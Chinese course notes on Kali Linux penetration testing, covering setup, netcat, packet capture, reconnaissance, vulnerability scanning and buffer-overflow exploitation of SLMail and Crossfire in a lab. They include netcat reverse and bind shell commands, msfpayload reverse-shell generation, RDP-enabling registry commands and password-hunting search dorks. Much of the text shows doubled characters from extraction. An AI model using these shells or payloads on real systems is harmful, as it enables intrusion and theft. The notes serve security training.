安全牛整理笔记
第一章 介绍
Kali linux渗透测试
安全问题的根源
分层思想的优劣
只追求功能实现
最⼤大的安全威胁是⼈人
安全目标
• 先于攻击者发现和防⽌止漏洞出现
- 攻击型安全
- 防护型安全
渗透测试
• 尝试挫败安全防御机制,发现系统安全弱点;
• 从攻击者的⾓角度思考,测量安全防护有效性;
• 证明安全问题的存在,⽽而⾮非破坏;
- 道德约束
- 法律
渗透测试标准
- PETS(http://www.pentest-standard.org)
- 前期交互阶段
- 情报收集阶段
- 威胁建模阶段
- 漏洞分析阶段
- 渗透攻击阶段
- 后渗透测试阶段
- 渗透测试报告
渗透测试项目
- 渗透测试范围
- 获得授权
- 渗透测试⽅方法
- 是否允许社会⼯工程学
- 是否允许拒绝服务攻击
渗透测试误区
- 扫描器就是⼀一切
- 忽视业务逻辑重的漏洞
KALI
- Kali(kālī,⾳音译为迦梨或迦利,字⾯面意思是“⿊黑⾊色的”)是印度教中⼀一个重
要的⼥女神,她是湿婆神妃帕尔⽡瓦蒂产⽣生的化⾝身,印度神话中最为⿊黑暗和暴
虐的⿊黑⾊色地⺟母。她⽪皮肤黝⿊黑,⻘青⾯面獠⽛牙,额头和湿婆神⼀一样有第三只眼睛,
四只⼿手臂分持武器,戴着蛇和骷髅的项链,⾆舌头上滴着⾎血。有她的传说总
是与杀戮和鲜⾎血相连,史上曾经⽤用过活⼈人献祭,是印度教派中最为隐晦和
神秘的⼀一派。 - 迦梨⼀一词也可解释为时间,故中⽂文翻译为时⺟母。在后期的信仰体系中,时
⺟母被认为与时间和变化有关,象征着强⼤大和新⽣生。 - 在⾯面对前所未有的强⼤大的阿修罗时陷⼊入困境,这时候她的⾯面孔因为愤怒⽽而
发⿊黑,从她脸上的⿊黑⽓气中诞⽣生了可怕的迦梨。今⽇日印度的都市加尔各答,
名字的意思就是“迦梨的沐浴场”。
KALI LINUX 介绍
- 基于Debian的Linux发⾏行版本
- 前⾝身是BackTrack, 2013 年 3 ⽉月发布;
- ⽤用于渗透测试和安全审计;
- 包含600+安全⼯工具
- FHS标准⺫⽬目录结构
- 定制内核
- ⽀支持ARM和⼿手机平台
- 开源免费
KALI LINUX 策略
- Root⽤用户策略
- ⺴⽹网络服务策略
- 更新升级策略
关于本教程
- 这是⼀一⻔门关于渗透测试⽅方法的课程
- 这是⼀一⻔门关于kali linix基本使⽤用的教程
- 不要停留在了解的程度
- 实践再实践是最好的⽼老师
- 这⾥里只是起跑线⽽而不是终点线
- Kali很强⼤大,但不是全部
第二章 安装
硬盘安装
- 下载安装镜像
- 验证hash值
- 制作启动光盘
- 制作启动U盘
- 设置BIOS启动顺序
- 启动安装
持久加密 USB 安装 -1
- LUKS:Linux Unified Key Setup
- 磁盘分区加密规范
- 不依赖于操作系统的磁盘级加密
- Windows——DoxBox
- 后端:dm-crypt
- 前段:cryptsetup
- 微软的bitlocker
- 将镜像刻录到U盘
- dd if=kali-linux-1.1.0-amd64.iso of=/dev/sdb bs=1M
持久加密 USB 安装 -2
为U盘创建额外分区
使⽤用LUKS加密分区
打开加密分区
格式化加密分区+卷标
挂载加密分区,并创建persistence.conf ⽂文件
持久加密 USB 安装 -2
虚拟机安装
- 官⽅方VM镜像
- vmware workstation
- VirtualBox
- 下载、安装、扩展⼯工具、基本使⽤用
- Win8系统(kb3045999)
- 安装kali
- 安装tools
熟悉环境
• 登陆密码
- Top 10 安全⼯工具
- 字体调整
- 强⾏行终⽌止程序
- 文件目录
- 共享⽂文件
熟悉 BASH 命令
- Ls、cd、cat、more、tail、cp、rm、top、ps、grep、ifconfig、
netstat、awk、sort、 fdisk、mount、dmesg 、find、whereis、
Echo、vi - 管道
- Shell 脚本
Q & A
第三章 定制
网络配置 -1
- 临时IP地址
- dhclient eth
- ifconfig eth0 192.168.1.11/24
- route add default gw 192.168.1.1
- echo nameserver 192.168.1.1 > /etc/resolv.conf
网络配置 -2
• 固定IP地址
• cat /etc/network/interface
• auto eth0
• iface eth0 inet static
• address 192.168.20.1
• netmask 255.255.255.0
• network 192.168.20.0
• broadcast 192.168.20.255
• gateway 192.168.20.2
• dns-nameservers 192.168.1.1 192.168.1.2
• up route add -net 172.16.5.0/24 gw 192.168.10.100 eth1
• down route del -net 172.24.0.0/24
- ⺴⽹网络配置 -
- • auto eth • cat /etc/network/interface
- • address 192.168.20. • iface eth0 inet static
- • netmask 255.255.255.
- • network 192.168.20.
- • broadcast 192.168.20.
- • gateway 192.168.20.
- • dns-nameservers 192.168.1.1 192.168.1.- • up route add -net 172.16.5.0/24 gw 192.168.10.100 eth
- • down route del -net 172.24.0.0/
更新升级
- apt-get update
- apt-get upgrade
- apt-get dis-upgrade
- 重复执⾏行
安装软件包
- 库
- Apt-get命令
- 安装适合⾃自⼰己的⼯工具软件
- apt-get install kali-linux-all smplayer ibus ibus-pinyin flashplugin-nonfree gdebi amule
qbittorrent geany meld stardict ttf-wqy-microhei kchmviewer resolvconf python-dev
python-greenlet python-gevent python-vte python-openssl python-crypto python-
appindicator python-pip libnss3-tools freemind netspeed libncurses5-dev mtr filezilla filezilla-
common chromium monodevelop mono-gmcs -y
- apt-get install kali-linux-all smplayer ibus ibus-pinyin flashplugin-nonfree gdebi amule
浏览器插件
- firefox浏览器插件
- flashgot 、autoproxy 、Tamper Data 、cookie importer、Cookies Manager、User Agent
Switcher、HackBar、Live http header、Firebug、Download YouTube Videos as MP4、
Flagfox、hashr - https://addons.mozilla.org/en-US/firefox/addon/xss-me/
- https://addons.mozilla.org/en-US/firefox/addon/sql-inject-me/?src=ss
- flashgot 、autoproxy 、Tamper Data 、cookie importer、Cookies Manager、User Agent
• 安装JAVA-
- 下载
- 解包拷⻉贝
- tar -xzvf /root/jdk-7u45-linux-x64.tar.gz
- mv jdk1.7.0_45 /opt
- cd /opt/jdk1.7.0_
- 安装注册
- update-alternatives –install /usr/bin/java java /opt/jdk1.7.0_45/bin/java 1
- update-alternatives –install /usr/bin/javac javac /opt/jdk1.7.0_45/bin/javac 1
- update-alternatives –install /usr/lib/mozilla/plugins/libjavaplugin.so mozilla-javaplugin.so /
opt/jdk1.7.0_45/jre/lib/amd64/libnpjp2.so 1
• 安装JAVA-
- 默认设置
- update-alternatives –set java /opt/jdk1.7.0_45/bin/java
- update-alternatives –set javac /opt/jdk1.7.0_45/bin/javac
- update-alternatives –set mozilla-javaplugin.so /opt/jdk1.7.0_45/jre/lib/amd64/libnpjp2.so
- 验证
- java –version
- http://www.java.com/en/download/installed.jsp
安装显卡驱动
- GPU的⽤用途
- Nvidia
- Ati
- Nvidia显卡驱动安装
- apt-get update
apt-get dist-upgrade
apt-get install -y linux-headers-$(uname -r)
apt-get install nvidia-kernel-dkms - sed ‘s/quiet/quiet nouveau.modeset=0/g’ -i /etc/default/grub
update-grub
reboot
- apt-get update
- 验证:
- glxinfo | grep -i “direct rendering“
- direct rendering: Yes
- glxinfo | grep -i “direct rendering“
无线网卡补丁
- 最新版内核已经集成⽆无线驱动补丁
- 如果你在使⽤用⽼老版本内核
- cd /usr/src/
- wget https://www.kernel.org/pub/linux/kernel/projects/backports/stable/v3.12/backports- 3.12 -1.tar.bz
- tar xvf backports-3.12-1.tar.bz
- cd backports-3.12-
- apt-get install patch
- wget http://patches.aircrack-ng.org/mac80211.compat08082009.wl_frag+ack_v1.patch
- patch -p1 < mac80211.compat08082009.wl_frag+ack_v1.patch
- apt-get install libncurses5-dev
- airmon-ng (查看驱动)
- make defconfig-ath9k
- make && make install
并发线程限制
- Ulimite⽤用于限制当前 shell 内进程的资源使⽤用
- 查看默认值
- Ulimite –a
- 全局配置⽂文件 :/etc/security/limits
- ⽤用途距离
- 限制⽂文件块⼤大⼩小:ulimit – s 100
- 限制shell内存使⽤用:ulimit -m 5000 -v 5000
- 没有直接对socket数量的限制参数
- Linux系统中⼀一切都是⽂文件,运⾏行中的⽂文件叫做进程
- ulimite –n 800000
电源优化
- 渗透测试系统耗电较⼤大
- 延⻓长电池寿命
- ⽆无操作挂起、关闭显⽰示器
- 降低显⽰示器亮度
- 不使⽤用时关闭⽆无线⺴⽹网卡
- 开启硬盘省电选项
- hdparm -i /dev/sda if AdvancedPM=yes then hdparm -B 1 -S 12 /dev/
sda
- hdparm -i /dev/sda if AdvancedPM=yes then hdparm -B 1 -S 12 /dev/
- 启动笔记本模式
笔记本模式
- #!/bin/bash
currentMode=$(cat /proc/sys/vm/laptop_mode)
1 | if [ $currentMode -eq 0 ] |
服务开关
- Kali Linux默认未启动所有⺴⽹网络服务
- update-rc.d ssh default
- /etc/init.d/ssh start
翻墙 & 代理
- GFW⻓长城防⽕火墙
- Facebook、youtube
- 翻墙
- http代理
- socks代理
- ssh隧道
- Goagent
- Tor
- ⽆无界
• GOAGENT
- https://code.google.com/p/goagent/
- 注册:appengine.google.com
- https://github.com/goagent/goagent
• GOAGENT安装
- pip install pyOpenSSL
- pip install gevent –upgrade
- mkdir -p ~/.pki/nssdb
- certutil -d sql:$HOME/.pki/nssdb –N
- 导⼊入证书
- 设置浏览器代理
- 使⽤用
代理链
代理设置
- /etc/apt/apt.conf
- Acquire::ftp::proxy “ftp://127.0.0.1:8087/";
- Acquire::http::proxy “http://127.0.0.1:8087/";
- Acquire::https::proxy “https://127.0.0.1:8087/";
- Acquire::socks::proxy “https://127.0.0.1:8087/";
- /etc/bash.bashrc
- export ftp_proxy=”ftp://user:password@proxyIP:port"
- export http_proxy=”http://user:password@proxyIP:port"
- export https_proxy=”https://user:password@proxyIP:port"
- export socks_proxy=”https://user:password@proxyIP:port"
TOR
- 保护隐私防⽌止被追踪
- 志愿者组成
- 长期在天朝完全⽆无法使⽤用
- 感谢 云
- 暗⺴⽹网
- 互联网搜索引擎⽆无法发现
- 互联网⿊黑市
- 下载和看视频是不道德的行为
TOR
- 下载
- 问题 1 :should not be run as root;
- 问题 2 :服务启动错误
Q & A
第四章 实验环境
准备实验环境
- 渗透⾮非授权系统的弊端
- 搭建⾃自⼰己的实验环境
安装虚拟机
- 微软最新版软件
- Windows虚拟机
- 安装⾃自⼰己的虚拟机
- Xp
- Win
- 2003
安装虚拟机
- Linux虚拟机
- Ubuntu
- Lamp安装
- Ubuntu
- Metasploitable2
- http://downloads.metasploit.com/data/metasploitable/metasploitable-linux-2.0.0.zip
- 问题:/var/www/mutillidae/config.inc
- dbname=owasp
模拟真实网络
- M0n0wall防⽕火墙
背靠背防火墙
- Pfsense
Q & A
第五章 基本⼯工具
常用工具
- Nc / ncat
- Wireshark
- Tcpdump
NETCAT ——NC
• 网络工具中的瑞士军刀——小身材、大智慧
• 侦听模式 / 传输模式
- telnet / 获取banner信息
- 传输⽂文本信息
- 传输⽂文件/目录
- 加密传输⽂文件
- 远程控制/木⻢
- 加密所有流量
- 流媒体服务器
- 远程克隆硬盘
NC——TELNET / BANNER
- nc –nv 1.1.1.1 110
- nc –nv 1.1.1.1 25
- nc –nv 1.1.1.1 80
NC—— 传输文本信息
- A:nc -l -p 4444
- B:nc –nv 1.1.1.1 4444
- 远程电子取证信息收集
NC—— 传输⽂文件 / 目录
• 传输⽂文件
- A:nc -lp 333 > 1.mp
- B:nc -nv 1.1.1.1 333 < 1.mp4 –q 1
- 或
- A:nc -q 1 -lp 333 < a.mp
- B: nc -nv 1.1.1.1 333 > 2.mp
- 传输目录
- A:tar -cvf - music/ | nc -lp 333 –q 1
- B:nc -nv 1.1.1.1 333 | tar -xvf –
- 加密传⽂文件
- A:nc -lp 333 | mcrypt –flush -Fbqd -a rijndael-256 -m ecb > 1.mp
- B: mcrypt –flush -Fbq -a rijndael-256 -m ecb < a.mp4 | nc -nv 1.1.1.1 333 -q 1
NC—— 流媒体服务
- A: cat 1.mp4 | nc -lp 333
- B: 1.1.1.1 333 | mplayer -vo x11 -cache 3000 -
NC—— 端口扫描
- nc -nvz 1.1.1.1 1-65535
- nc –vnzu 1.1.1.1 1-1024
NC—— 远程克隆硬盘
- A: nc -lp 333 | dd of=/dev/sda
- B: dd if=/dev/sda | nc -nv 1.1.1.1 333 –q 1
- 远程电⼦子取证,可以将⺫⽬目标服务器硬盘远程复制,或者内存。
NC—— 远程控制
• 正向:
- A:nc -lp 333 -c bash
- B:nc 1.1.1.1 333
- 反向:
- A:nc -lp 333
- B:nc 1.1.1.1 333 -c bash
- 注:Windows⽤用户把bash改成cmd;
NC——NCAT
- Nc缺乏加密和⾝身份验证的能⼒力
- Ncat包含于nmap⼯工具包中
- A:ncat ncat -c bash –allow 192.168.20.14 -vnl 333 –ssl
- B:ncat -nv 1.1.1.1 333 –ssl
WIRESHARK
• 抓包嗅探协议分析
• 安全专家必备的技能
• 抓包引擎
- Libpcap9—— Linux
- Winpcap10—— Windows
- 解码能力
WIRESHARK—— 基本使用方法
• 启动
• 选择抓包⺴⽹网卡
• 混杂模式
• 实时抓包
• 保存和分析捕获⽂文件
• ⾸首选项
WIRESHARK—— 筛选器
• 过滤掉干扰的数据包
• 抓包筛选器
• 显⽰示筛选器
WIRESHARK—— 常⻅见协议包
• 数据包的分层结构
- Arp
- Icmp
- Tcp——三次握⼿手
- Udp
- Dns
- http
- ftp
WIRESHARK——TCP
• 数据流
- http
- Smtp
- Pop
- Ssl
WIRESHARK—— 信息统计
• 节点数
• 协议分布
• 包大小分布
• 会话连接
• 解码方式
• 专家系统
- 抓包对⽐比nc、ncat加密与不加密的流量
WIRESHARK—— 实践
- 抓包对⽐比nc、ncat加密与不加密的流量
WIRESHARK—— 实践
- 抓包对⽐比nc、ncat加密与不加密的流量
- 企业抓包布署⽅方案
TCPDUMP
- No-GUI的抓包分析⼯工具
- Linux、Unix系统默认安装
TCPDUMP—— 抓包
• 抓包
- tcpdump -i eth0 -s 0 -w file.pcap
- 读取抓包⽂文件
- Tcpdump -r file.pcap
TCPDUMP—— 筛选
- tcpdump -n -r http.cap | awk ‘{print $3}’| sort –u
- tcpdump -n src host 145.254.160.237 -r http.cap
- tcpdump -n dst host 145.254.160.237 -r http.cap
- tcpdump -n port 53 -r http.cap
- tcpdump -nX port 80 -r http.cap
TCPDUMP—— ⾼高级筛选
TCPDUMP—— ⾼高级筛选
- tcpdump -A -n ‘tcp[13] = 24’ -r http.cap
Q & A
第六章 被动信息收集
被动信息收集
• 公开渠道可获得的信息
• 与目标系统不产⽣生直接交互
• 尽量避免留下⼀切痕迹
• OSINT:
- 美国军⽅方:http://www.fas.org/irp/doddir/army/atp2-22-9.pdf
- 北⼤大⻄西洋公约组织:http://information-retrieval.info/docs/NATO-OSINT.html
信息收集内容
• IP地址段
• 域名信息
• 邮件地址
• ⽂文档图片数据
• 公司地址
• 公司组织架构
• 联系电话 / 传真号码
• 人员姓名 / 职务
• 目标系统使⽤用的技术架构
• 公开的商业信息
信息用途
• 用信息描述目标
• 发现
• 社会工程学攻击
• 物理缺口
信息收集 ——DNS
• 域名解析成IP地址
- 域名 与 FQDN的区别
- 域名记录:A 、C nmae、NS、MX、ptr
DNS 信息收集 —— NSLOOKUP
- nslookup http://www.sina.com
- server
- type=a、mx、ns、any
- nslookup -type=ns example.com 156.154.70.22
DNS 信息收集 —— DIG
- dig @8.8.8.8 http://www.sina.com mx
- dig http://www.sina.com any
- 反向查询:dig +noall +answer -x 8.8.8.8
- bind版本信息: dig +noall +answer txt chaos VERSION.BIND @ns3.dnsv4.com
- DNS追踪: dig +trace example.com
- 抓包比较递归查询、迭代查询过程的区别
DNS 区域传输
- dig @ns1.example.com example.com axfr
- host -T -l sina.com 8.8.8.
DNS 字典爆破
- fierce -dnsserver 8.8.8.8 -dns sina.com.cn -wordlist a.txt
- dnsdict6 -d4 -t 16 -x sina.com
- dnsenum -f dnsbig.txt -dnsserver 8.8.8.8 sina.com -o sina.xml
- dnsmap sina.com -w dns.txt
- dnsrecon -d sina.com –lifetime 10 -t brt -D dnsbig.txt
- dnsrecon -t std -d sina.com
DNS 注册信息
- Whois
- whois -h whois.apnic.net 192.0.43.10
搜索引擎
• 公司新闻动态
• 重要雇员信息
• 机密文档 / 网络拓扑
• 用户名密码
• 目标系统软硬件技术架构
SHODAN
• 搜索联网的设备
- Banner:http、ftp、ssh、telnet
- https://www.shodan.io/
- 常⻅见filter:
- net (192.168.20.1)
- city
- country(CN、US)
- port( 80 、 21 、 22 、 23 )
- os
- Hostname(主机或域名)
GOOGLE搜索
- +充值 - ⽀支付
- 北京的电⼦子商务公司——北京 intitle:电⼦子商务 intext:法⼈人 intext:电话
- 阿⾥里网站上的北京公司联系⼈人——北京 site:alibaba.com inurl:contact
- 塞班司法案的PDF⽂文档——SOX filetype:pdf
- 法国的支付相关⻚页⾯面——payment site:fr
GOOGLE搜索——实例
- inurl:”level/15/exec/-/show”
- intitle:”netbotz appliance” “ok”
- inurl /admin/login.php
- inurl:qq.txt
- filetype:xls “username | password“
- inurl:ftp “password” filetype:xls site:baidu.com
- Service.pwd
- http://exploit-db.com/google-dorks
YA N D E X
• 世界第四大搜索引擎——俄罗斯
RECON-NG
- 全特性的web侦察框架
- 基于Python开发
⽤用户信息
• 邮件
- theharvester -d sina.com -l 300 -b google
- ⽂文件
- metagoofil -d microsoft.com -t pdf -l 200 -o test -f 1.html
MELTAGO
• 申请账号
• 登陆使用
其他途径
• 社交网络
• ⼯工商注册
• 新闻组 / 论坛
• 招聘网站
个人专属的密码字典
• 按个⼈人信息⽣生成其专属的密码字典
- CUPP——Common User Password Profiler
- git clone https://github.com/Mebus/cupp.git
- python cup.py -i
METADATA
- Exif图⽚片信息
- Foca
RECON-NG
- Web信息搜索框架
- 命令格式与msf⼀一致
- 基于python开发
- 使⽤用⽅方法:
- 模块
- 数据库
- 报告
RECON-NG
• 全局选项
- USER-AGENT
- Proxy
- Workspace
- Snapshot
- Show schema
- Help
- Query 数据库
- Select * from hosts where host like ‘%baidu.com%’ order by ip_address
RECON-NG
• DNS查询
- Baidu
- Bing
- Ya h o o
- Brute force
- 解析IP地址(查询数据库)
- 联系⼈人
- 报告
- API
Q & A
第七章 主动信息收集
第八章 漏洞扫描
发现弱点
- 发现漏洞
- 基于端口服务扫描结果版本信息(速度慢)
- 搜索已公开的漏洞数据库(数量大)
- 使用弱点扫描器实现漏洞管理
从信息的维度定义漏洞管理
- 信息收集:
- 扫描发现网络IP、OS、服务、配置、漏洞
- 能力需求:定义扫描方式内容和目标
- 信息管理
- 格式化信息,并进行筛选、分组、定义优先级
- 能力需求:资产分组、指定所有者、向所有者报告漏洞
- 信息输出
- 向不同层级的人群展示足够的信息量
- 能力需求:生成报告、导出数据、与SIEM集成
弱点扫描类型
- 主动扫描
- 有身份验证
- 无身份验证
- 被动扫描
- 镜像端口抓包
- 其他来源输入
- 基于Agent的扫描
- 支持平台有限
漏洞基本概念
- CVSS(Common Vulnerability Scoring System)
- 通用漏洞评分系统——工业标准
- 描述安全漏洞严重程度的统一评分方案
- V 3版本—— 2015 年 6 月 10 日
- Basic Metric:基础的恒定不变的弱点权重
- Temporal Metric:依赖时间因素的弱点权重
- Enviromental Metric:利用弱点的环境要求和实施难度的权重
漏洞基本概念
- CVSS(Common Vulnerability Scoring System)
- CVSS是安全内容自动化协议(SCAP)的一部分
- 通常CVSS与CVE一同由美国国家漏洞库(NVD)发布并保持数据的更新
- 分值范围: 0 —— 10
- 不同机构按CVSS分值定义威胁的中、高、低威胁级别
- CVSS体现弱点的风险,威胁级别(severity)表示弱点风险对企业的影响程度
- CVSS分值是工业标准,但威胁级别不是
漏洞基本概念
- Vulnerability Reference
- CVE( Common Vulnerabilities and Exposures )
- 已公开的信息安全漏洞字典,统一的漏洞编号标准
- MITRE公司负责维护(非盈利机构)
- 扫描器的大部分扫描项都对应一个CVE编号
- 实现不同厂商之间信息交换的统一标准
- CVE发布流程
- 发现漏洞
- CAN负责指定CVE ID
- 发布到CVE List —— CVE- 2008 - 4250
- MITRE负责对内容进行编辑维护
漏洞基本概念
- 很多厂商维护自己的Vulnerability Reference
- MS
- MSKB
- 其他Vulnerability Reference
- CERT TA08-297A
- BID 31874
- IAVM 2008 - A- 0081
- OVAL OVAL
漏洞基本概念
- OVAL(Open Vulnerability and Assessment Language)
- 描述漏洞检测方法的机器可识别语言
- 详细的描述漏洞检测的技术细节,可导入自动化检测工具中实施漏洞检测工作
- OVAL使用XML语言描述,包含了严密的语法逻辑^
- CCE
- 描述软件配置缺陷的一种标准化格式
- 在信息安全风险评估中,配置缺陷的检测是一项重要内容,使用CCE可以让配置缺陷以标准的方式
展现出来,便于配置缺陷评估的可量化操作。
- CPE(Common Product Enumeration)
- 信息技术产品、系统、软件包的结构化命名规范,分类命名
- CWE(Common Weakness Enumeration)
- 常见漏洞类型的字典,描述不同类型漏洞的特征(访问控制、信息泄露、拒绝服务)
漏洞基本概念
- Security Content Automation Protocol (SCAP)
- SCAP 是一个集合了多种安全标准框架
- 六个元素:CVE、OVAL、CCE、CPE、 CVSS、XCCDF
- 目的是以标准的方法展示和操作安全数据
- 由NIST负责维护
- SCAP主要解决三个问题
- 实现高层政策法规等到底层实施的落地(如FISMA,ISO27000系列)
- 将信息安全所涉及的各个要素标准化(如统一漏洞的命名及严重性度量)
- 将复杂的系统配置核查工作自动化
- SCAP是当前美国比较成熟的一套信息安全评估标准体系,其标准化、自动化的思想对信息安
全行业产生了深远的影响。
漏洞基本概念
- NVD(National Vulnerability Database)
- 美国政府的漏洞管理标准数据
- 完全基于SCAP框架
- 实现自动化漏洞管理、安全测量、合规要求
- 包含以下库
- 安全检查列表
- 软件安全漏洞
- 配置错误
- 产品名称
- 影响度量
- https://nvd.nist.gov/
漏洞管理
- 周期性扫描跟踪漏洞
- 高危漏洞优先处理
- 扫描注意事项
- 漏洞管理三要素
- 准确性
- 时间
- 资源
NMAP
- nmap 扫描脚本
- 400+
- 分类
- cat /usr/share/nmap/scripts/script.db
- grep vuln /usr/share/nmap/scripts/script.db | cut -d “"“ -f 2
- cat /usr/share/nmap/scripts/smb-check-vulns.nse
- smb-check-vulns.nse
- nmap - sU - sS –script=smb-check-vulns.nse –script-args=unsafe=1 -p U:137,T:139,445 1.1.1.1
- MS08- 067
NMAP
- smb-vuln-ms10- 061 .nse
- Stuxnet蠕虫利用的 4 个漏洞之一
- Print Spooler权限不当,打印请求可在系统目录可创建文件、执行任意代码
- LANMAN API枚举共享打印机
- 远程共享打印机名称
- smb-enum-shares枚举共享
- 身份认证参数——smbuser、smbpassword
- nmap - p445 –script=smb-enum-shares.nse –script-args=smbuser=admin,smbpassword=pass
1.1.1.1
- Windows XP,Server 2003 SP2,Vista,Server 2008, win 7
- 影响扫描结果的因素
扫描结果确认
- 目标系统版本
- 补丁是否安装
- 是否可被入侵
- 有时很难说什么才是准确的扫描结果
- 应综合的看待漏洞威胁
OPENVAS
- Openvas
- Nessus项目分支
- 管理目标系统的漏洞
- 免费开源
- Kali默认安装,但未配置和启动
OPENVAS
OPENVAS
- OpenVAS Manager
- 控制scanner和其他manager的中心组件
- 控制中心数据库,保存用户配置及扫描结果
- 客户端使用基于XML的无状态OMP协议与其通信
- 集中排序筛选,使客户端获得一致展现
- OpenVAS Scanner
- 具体执行Network Vulnerability Tests (NVTs)
- NVTs 每天通过 Feed 更新
- 受 Manager 控制
OPENVAS
- OSP Scanner
- 可以统一管理多个scanner
- 将一组 scanner 作为一个对象交给manager管理
- Greenbone Security Assistant (GSA)
- 提供 Web service
- OpenVAS CLI
- omp 命令行工具,可实现批处理控制 manager
- 更新很快
- 所有找得到的资料几乎都已不同程度的过时了
OPENVAS
- 安装
- 创建证书
- 同步弱点数据库
- 创建客户端证书
- 重建数据库
- 备份数据库
- 启动服务装入插件
- 创建管理员账号
- 创建普通用户账号
- 配置服务侦听端口
- 安装验证
OPENVAS
- 初始化安装
- openvas-setup
- 检查安装结果
- openvas-check-setup
- 查看当前账号
- openvasmd –list-users
- 修改账号密码
- openvasmd –user=admin –new-password=Passw0rd
- 升级
- openvas-feed-update
OPENVAS
- 不是秘笈是经验
- vi /usr/bin/openvas-start
- Starting OpenVas Services
- Starting OpenVAS Manager: openvasmd
- Starting OpenVAS Scanner: openvassd
- Starting Greenbone Security Assistant: gsad
OPENVAS
- 扫描配置
- 扫描windows
- 扫描Linux
- 扫描网络设备
OPENVAS
- 扫描目标
- Windows
- Linux
- 路由器
OPENVAS
- 扫描任务
- 进度
- 报告
NESSUS
- 家庭版
- 免费
- 专业版
- 收费、无限的并发连接
- 下载
- 安装
- dpkg – i
- 安装路径:/opt/nessus
- 启动服务
- /etc/init.d/nessusd start
NESSUS
- 管理地址
- 注册激活码
- 管理账号
- 更新插件
- 基本配置(setting)
- 升级
- 账号
- SMTP
- 代理
NESSUS
- 策略
- 扫描
- 扫描本机
- 扫描windows
- 扫描linux
- 扫描网络设备
- 扫描web server
- 报告
- 调度
NEXPOSE
- Rapid 7
- Nexpose
- 完整的漏洞管理实现
扫描结果分析
- False positive:
- 误报
- False negative
- 漏报
Q & A
第九章 缓冲区溢出
程序漏洞从哪里来
• 罪恶的根源:变量
• 数据与代码边界不清
- 最简漏洞原理 —— shell脚本漏洞
缓冲区溢出
• 当缓冲区边界限制不严格时,由于变量传入畸形数据或程序运行错误,导致缓冲区被“撑
暴”,从而覆盖了相邻内存区域的数据;
• 成功修改内存数据,可造成进程劫持,执行恶意代码,获取服务器控制权等后果
如何发现漏洞
• 源码审计
• 逆向工程
• 模糊测试
- 向程序堆栈半随机的数据,根据内存变化判断溢出
- 数据生成器:生成随机、半随机数据
- 测试工具:识别溢出漏洞
WINDOWS 缓冲区溢出
FUZZER
- SLMail 5.5.0 Mail Server
- ImmunityDebugger_1_85_setup.exe
- mona.py
- http://pan.baidu.com/s/1o6kT6gM
FUZZER
- SLMail 5.5.0 Mail Server
- POP3 PASS 命令存在缓冲区溢出漏洞
- 无需身份验证实现远程代码执行
- DEP:阻止代码从数据页被执行
- ASLR:随机内存地址加载执行程序和DLL,每次重启地址变化
POP
- Nc 110 端口
- 了解未知协议
- Wireshark
- RFC
- 01.py
FUZZING
• 测试 PASS 命令接收到大量数据时是否会溢出
• EIP 寄存器存放下一条指令的地址
- 02.py
FUZZING
• 2700 个字符实现 EIP 寄存器溢出
- 03.py
- 找到精确溢出的 4 个字节
- 二分法
- 唯一字串法
- usr/share/metasploit-framework/tools/pattern_create.rb 2700
- 04.py
- 05.py
FUZZING
• 思路:
- 将 EIP 修改为shellcode代码的内存地址,将Shellcode写入到该地址空间,程序读取 EIP 寄存器
数值,将跳转到 shellcode 代码段并执行; - 寻找可存放shellcode的内存空间
- 06.py
FUZZING
• 不同类型的程序、协议、漏洞,会将某些字符认为是坏字符,这些字符有固定用途
- 返回地址、Shellcode、buffer中都不能出现坏字符
- null byte (0x00) 空字符,用于终止字符串的拷贝操作
- return (0x0D) 回车操作,表示POP3 PASS 命令输入完成
- 思路:发送0x00 —— 0xff 256个字符,查找所有坏字符
- 07.py
- 0x0A
- 0x0D
FUZZING
• 重定向数据流
- 用 ESP 的地址替换 EIP 的值
- 但是 ESP 地址变化,硬编码不可行
- SLMail 线程应用程序,操作系统为每个线程分配一段地址范围,每个线程地址范围不确定
- 变通思路
- 在内存中寻找地址固定的系统模块
- 在模块中寻找 JMP ESP 指令的地址跳转,再由该指令间接跳转到 ESP,从而执行shellcode
- mona.py 脚本识别内存模块,搜索“return address”是JMP ESP指令的模块
- 寻找无DEP、ALSR保护的内存地址
- 内存地址不包含坏字符
FUZZING
• 寻找不受保护的系统模块
- !mona modules
- 将汇编指令 jmp esp 转换为二进制
- ./nasm_shell
- FFE
- 在模块中搜索 FFE4 指令
- !mona find -s “\xff\xe4” -m slmfc.dll
- 选择不包含坏字符的内存地址
- 在该地址设置断点
- 重发buffer
- 08.py (地址全翻转)
FUZZING
- 生成shellcode
- Scratch
- ./msfpayload -l
- ./msfpayload win32_reverse LHOST=192.168.20.8 LPORT=443 C
- ./msfpayload win32_reverse LHOST=192.168.20.8 LPORT=443 R | ./msfencode - b
“\x00\x0a\x0d” - nc - vlp 443
- 09.py
FUZZING
- Shellcode执行结束后以 ExitProcess 方式退出整个进程,将导致邮件服务崩溃;
- Slmail是一个基于线程的应用,适用ExitThread方式可以避免整个服务崩溃,可实现重复溢出;
- ./msfpayload win32_reverse LHOST=192.168.20.8 EXITFUNC=thread LPORT=443 R
| ./msfencode - b “\x00\x0a\x0d”
FUZZING
- echo Windows Registry Editor Version 5.00>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
Server]>>3389.reg
echo “fDenyTSConnections”=dword:00000000>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
Server\Wds\rdpwd\Tds\tcp]>>3389.reg
echo “PortNumber”=dword:00000d3d>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
Server\WinStations\RDP-Tcp]>>3389.reg
echo “PortNumber”=dword:00000d3d>>3389.reg
regedit /s 3389.reg
LINUX 缓冲区溢出
FUZZING
- Crossfire
- 多人在线 RPG 游戏
- 1.9.0 版本接受入站 socket 连接时存在缓冲区溢出漏洞
- 调试工具
- edb
- 运行平台
- Kali i486 虚拟机
FUZZING
- 新版本Linux内核支持内存保护机制
- DEP
- ASLR
- 堆栈 cookies
- 堆栈粉碎
FUZZING
- 本机调试
- iptables -A INPUT -p tcp –destination-port 4444 ! -d 127.0.0.1 -j DROP
- iptables -A INPUT -p tcp –destination-port 13327 ! -d 127.0.0.1 -j DROP
FUZZING
- 解压
- /usr/games
- tar zxpf crossfire.tar.gz
- 调试
- edb –run /usr/games/crossfire/bin/crossfire
- 01.py
FUZZING
- 唯一字符串识别 EIP 精确位置
- /usr/share/metasploit-‐framework/tools/pattern_create.rb 4379
- 02.py
- /usr/share/metasploit-‐framework/tools/pattern_offset.rb 46367046
- 4368
- 03.py
